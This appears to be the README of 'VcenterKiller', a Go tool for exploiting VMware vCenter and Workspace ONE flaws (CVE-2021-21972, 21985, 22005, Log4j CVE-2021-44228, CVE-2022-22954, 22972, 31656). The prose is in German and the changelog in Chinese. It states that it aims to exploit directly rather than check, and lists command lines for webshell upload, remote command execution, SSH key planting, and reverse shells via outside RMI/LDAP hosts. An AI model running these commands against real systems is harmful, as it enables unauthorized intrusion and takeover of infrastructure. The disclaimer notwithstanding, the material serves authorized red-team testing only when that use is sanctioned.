VcenterKiller

-1. Hinweis

Beim lokalen Aufbau einer Schwachstellenumgebung wird die Überprüfung von log4j mit vckiller grundsätzlich fehlschlagen, da im VMware-VM-Umfeld mit NAT-Modus die ausgehende Netzwerkkarte des Prüfmoduls als 127.0.0.1 erkannt wird. Dadurch wird die vom Ziel angeforderte LDAP-Server-Adresse zu 127.0.0.1, und die Überprüfung schlägt fehl 😏

0. Unbedingt lesen

Falls du auf einen Bug stößt, bitte erstelle ein Issue. Dieses Tool wurde nur der Einfachheit halber geschrieben, es hat nichts Hochtrabendes an sich.

1. Was ist es?

Ein umfassendes Verifikations-Tool für Vcenter, das die derzeit gängigsten CVE-2021-21972, CVE-2021-21985 und CVE-2021-22005 abdeckt. Es bietet Funktionen wie One-Click-Upload von Webshells, Codeausführung oder Upload eines öffentlichen Schlüssels und SSH-Verbindung, sowie Erkennung und Ausnutzung der Apache Log4j CVE-2021-44228-Schwachstelle auf Vcenter, z. B. Codeausführung mit Rückmeldung (benötigt einen bösartigen LDAP-Server). Jetzt ist kein separater LDAP-Server mehr nötig; ich habe basierend auf dem jndi-injection-Tool eine eigene Ausnutzungsmethode entwickelt. Da Vcenter Tomcat als Middleware verwendet, kann einfach die TomcatBypass-Exploit-Kette verwendet werden.

2. Seine Positionierung

In der Regel sind Vcenter im internen Netzwerk platziert, und die Schwachstellenmerkmale sind allgegenwärtig. Tools wie fscan scannen sie sofort. Daher ist VcenterKiller nicht dazu gedacht, zu prüfen, ob ein Ziel eine Schwachstelle aufweist, sondern versucht direkt, sie auszunutzen. Es wird normalerweise über CS/MSF auf einem Sprungbrett ausgeführt, daher wurden andere überflüssige Ausgaben entfernt.

Warum Go? Weil Python zwar einfach zu schreiben ist, aber in der Nutzung nervig – viele Abhängigkeiten und die kompilierte Datei ist zu groß. C# ist nicht plattformübergreifend, also wurde die Hälfte weggeworfen.

3. Verwendung

go build -o main.exe

./main.exe -u https://192.168.1.1 -m 21985 -c whoami
./main.exe -u https://192.168.1.1 -m 22005 -f test.jsp
./main.exe -u https://192.168.1.1 -m 21972 -f test.jsp
./main.exe -u https://192.168.1.1 -m 21972 -f id_rsa.pub -t ssh //传公钥
./main.exe -u https://192.168.1.1 -m 21985 -t rshell -r rmi://xx.xx.xx.xx:1099/xx
./main.exe -u https://192.168.1.1 -m log4center -t scan // scan log4j
./main.exe -u https://192.168.1.1 -m log4center -t exec -r ldap://xx.xx.xx.xx:1389 -c whoami //也可以不指定ldap服务
./main.exe -u https://xx.xx.com -m 22954 whoami
./main.exe -u https://xx.xx.com -m 22972 //get cookie
./main.exe -u https://xx.xx.com -m 31656 //If CVE-2022-22972不能用就换CVE-2022-31656

4. Haftungsausschluss

Dieses Tool richtet sich ausschließlich an legal autorisierte Unternehmenssicherheitsaktivitäten, wie interne Angriffs- und Verteidigungsübungen, Schwachstellenverifikation und erneute Tests. Wenn Sie die Nutzbarkeit dieses Tools testen möchten, richten Sie bitte selbst eine Zielumgebung ein.

Bei der Verwendung dieses Tools zur Überprüfung müssen Sie sicherstellen, dass die Handlungen den lokalen Gesetzen und Vorschriften entsprechen und Sie ausreichend autorisiert sind. Verwenden Sie es nicht gegen nicht autorisierte Ziele.

Sollten Sie bei der Nutzung dieses Tools illegale Handlungen begehen, übernehmen Sie die entsprechenden Konsequenzen selbst. Wir übernehmen keinerlei rechtliche oder damit verbundene Haftung.

5. Änderungsprotokoll

V1.0 上线
V1.1 针对CVE-2021-21985添加了利用rmi反弹shell的功能，前提是你要启动一个rmi服务器，例如jndi-injection-exploit
V1.2 增加了针对Vcenter的log4j检测和验证能力
V1.3 增加了对Vmware WorkSpace One Access的漏洞验证功能，包括CVE-2022-22954 远程命令执行；CVE-2022-22972、CVE-2022-31656身份鉴别绕过
V1.3.1 修复了检测log4j时忽略了端口的问题，有的服务会更改默认的443端口
V1.3.2 修改了针对log4j的利用方式，通过tomcatbypassEcho的方式执行命令并获取回显。vcenter 7.0 linux测试通过。
V1.3.3 增加了对6.7和7.0版本的区别利用，7.0必须使用tomcatbypass，而6.7使用普通的basic就行了
v1.3.4 修改了对log4j的验证逻辑，目前的逻辑是循环5次不同payload无差别乱打，有回显就有，没有就没有
v1.3.5 消除了log4j对Jndi-Injection-Exploit的依赖，能够直接执行命令并获取回显
v1.3.6 针对21972的ssh功能进行了修改并优化了其他细节
v1.3.7 添加了代理功能，支持http和socks
v1.3.8 还未开始，考虑添加功能...
...